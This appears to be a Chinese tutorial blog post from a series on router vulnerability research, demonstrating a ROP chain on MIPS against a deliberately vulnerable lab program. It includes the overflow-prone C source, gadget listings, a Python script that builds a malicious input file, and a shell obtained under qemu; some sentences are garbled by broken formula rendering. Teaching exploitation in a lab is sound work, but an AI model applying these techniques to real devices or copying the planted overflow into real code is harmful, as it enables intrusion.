二十、ROP实践

在路由器漏洞利用的场景中,一般使用两种常用的利用方法,一种是上次分享中使用的System/Exec方式,一种就是本节中我们要分享的ROP Chain方式。

ROP(Returen-Oriented Programming)是把原来已经存在的代码块拼接起来,拼接时使用一个预先准备好的、包含各条指令结束后下一条指令地址的特殊返回栈。一般的程序里都包含着大量的返回指令,如“jr $ra”,他们大都位于函数的尾部。从某个地址到“jr $ra“指令之间的二进制序列称为”gadget“:
二十、ROP实践_第1张图片

我们可以通过将内存中的各个gadget以某种顺序拼接执行来实现任意操作。

为了将各个gadget拼接起来,我们需要构造一个特殊的返回栈。首先,通过缓冲区溢出使程序执行流程跳转到gadget A,执行完gadget A中的代码序列后,通过位于gadget A尾部的jr $ra回到我们构造的栈帧中,然后再跳转到gadget B,再然后跳转到gadget C…,只要栈足够大,就能达到我们想要的效果:
二十、ROP实践_第2张图片
接下来,我们将使用上次分享中所编写的C代码(稍加修改),完成这次的ROP实践,

源码vuln_system.c:


#include 
#include 
#include 
#include 

void do_system(int code, char *cmd) {
  char buf[255];
  system(cmd);
}

void A(char *content) {
  char buf[32];
  memcpy(buf, content, 255);
  printf("buf: %s\n", buf);

  if(0 == strcmp(buf, "adminpwd")) {
    do_system(0, "ls /");
  }
}

void main(int argc, char **argv) {
  char buf[1024] = {0};
  char ch;
  int count = 0;
  unsigned int fileLen = 0;
  struct stat fileData;
  FILE *fp;
  if (0 == stat("passwd", &fileData)) {
    fileLen = fileData.st_size;
  } else {
    return 1;
  }

  if ( (fp = fopen("passwd", "rb")) == NULL) {
    printf("Cannot open file passwd!\n");
    exit(1);
  }

  ch = fgetc(fp);
  while( count <=fileLen ) {
    buf[count++] = ch;
    ch = fgetc(fp);
  }
  buf[--count] = '\x00';

  A(buf);
}

为了避免strcpy函数导致坏字符截断,这里我们将strcpy函数替换为了memcpy。

在这个漏洞程序中有一个函数do_system,在代码中,这个do_system函数只能执行“ls -l”命令,但,我们可以构造一条ROP Chain,通过溢出漏洞调用do_system函数,让do_system函数能够执行任意命令。

要想构造该ROP Chain,首先要构造do_system函数的参数,将两个参数分别装入寄存器 a 0 和 a0和 a0a1,这里我们只需要控制$a1即可,因为在do_system函数中并没有使用a0,而a1就是命令字符串的地址。

首先,我们使用第七篇分享中使用的ROP Finder插件来搜索合适的ROP Chain:
二十、ROP实践_第3张图片

二十、ROP实践_第4张图片

Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                       |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00401680  |  addiu $a1,$sp,0x58+var_40    |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

查看这段gadget汇编代码的完整内容:


.text:00401680   addiu   $a1, $sp, 0x58+var_40
.text:00401684   lw      $ra, 0x58+var_4($sp)
.text:00401688   sltiu   $v0, 1
.text:0040168C   jr      $ra
.text:00401690   addiu   $sp, 0x58

从代码中可以看出,只要在 s p + 0 x 58 − 0 x 40 中 精 心 构 造 一 个 命 令 字 符 串 ( 如 : s h ) , sp + 0x58 -0x40中精心构造一个命令字符串(如:sh), sp+0x580x40sha1便可以指向这个命令行字符串。然后在$sp+0x58-0x4地址处溢出为do_system函数的地址,这样在jr $ra返回时,就能将程序的执行流程劫持到do_system,进而我们就通过ROP Chain的方式完成了sh命令的执行。

根据上面的分析过程,我么可以整理出ROP Chain,如图:
二十、ROP实践_第5张图片

由上次的分享,我们可以知道,在buf变量的0x24偏移处写入的四个字节地址就是溢出的位置,我们在这里将其填充为0x00401680,也就是我们使用mipsrop.stackfinders()函数搜到的ROP Gadget。

在A函数返回时,会将 S P 寄 存 器 的 值 重 新 赋 值 : SP寄存器的值重新赋值: SPsp = $sp +0x40。

接着,我们需要在这个新的sp所指向的位置基础上,计算出 s p + 0 x 58 − 0 x 40 和 sp+0x58 -0x40和 sp+0x580x40sp+0x58 -0x4两个位置,并在其中填充命令字符串(sh)和do_system函数的地址(0x00400390)。

最后需要在这些精心构造的地址之间插入一些填充数据(“AAAA”或“BBB”)。

根据我们的分析结果,将按照图中的偏移位置生成利用脚本,并通过利用脚本生成passwd文件(exploit.py):


#!/usr/bin/python

import struct
print '[*] prepare shellcode',

cmd = "sh"
cmd += "\x00" * (4-(len(cmd)%4))   # align by 4 bytes

#shellcode
shellcode  =  "A" *0x24
shellcode += struct.pack(">L", 0x00401680)
shellcode += "A"*0x18
shellcode += cmd
shellcode += "B" * (0x3C-len(cmd))
shellcode += struct.pack(">L", 0x00400390)
shellcode += "BBBB"

print ' ok!'

print '[+] create passwd file',
fw = open('passwd', 'w')
fw.write(shellcode)
fw.close()
print ' ok!'

接下来执行这个脚本生成passwd文件:


test@ubuntu:~/Desktop$ python exploit.py 
[*] prepare shellcode  ok!
[+] create passwd file  ok!
test@ubuntu:~/Desktop$

接下来,我们使用qemu-mips执行上面C程序编译后的程序:


test@ubuntu:~/Desktop$ ./qemu-mips-static  ./vuln_system
$ 
$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

由此可见,我们通过ROP方式对这个栈溢出漏洞的利用已经成功了,我们通过精心构造的passwd文件,使vuln_system程序可以执行任意命令。

注意,我们这里对vuln_system.c程序进行编译时使用是我们用buildroot自己构建的编译器,使用其它编译器可能会存在一些难以调试的问题,所以这里,我也给出了制作这个编译器的步骤:


$ sudo apt-get install axel
$ axel -n 4 http://buildroot.net/downloads/buildroot-2014.05-rc1.tar.gz
$ tar -xzvf buildroot-2014.05-rc1.tar.gz
$ cd buildroot-2014.05-rc1
$ sudo apt-get install libncurse5-dev patch
$ make clean
$ make menuconfig

在make menuconfig时,会弹出配置菜单,需要将Target Architecture改为MIPS big endian, Target Architecture Variant改为mips 32,Toolchain中将Kernel Headers改为3.2.x。

保存配置后,使用make命令进行编译:

$ make

编译完成后,需要将编译器所在的目录配置到Path环境变量中,这样我们就能在需要的时候在任意目录使用我们编译的mips-linux-gcc了:

export PATH=$PATH:/home/test/Desktop/buildroot-2014.05-rc1/output/host/usr/bin

至此,我们的《揭秘家用路由器0day漏洞挖掘技术》上半部分就全部学习完了,希望这二十篇分享能够真的为你带来帮助(特别是最后两篇)。

你可能感兴趣的:(路由器安全)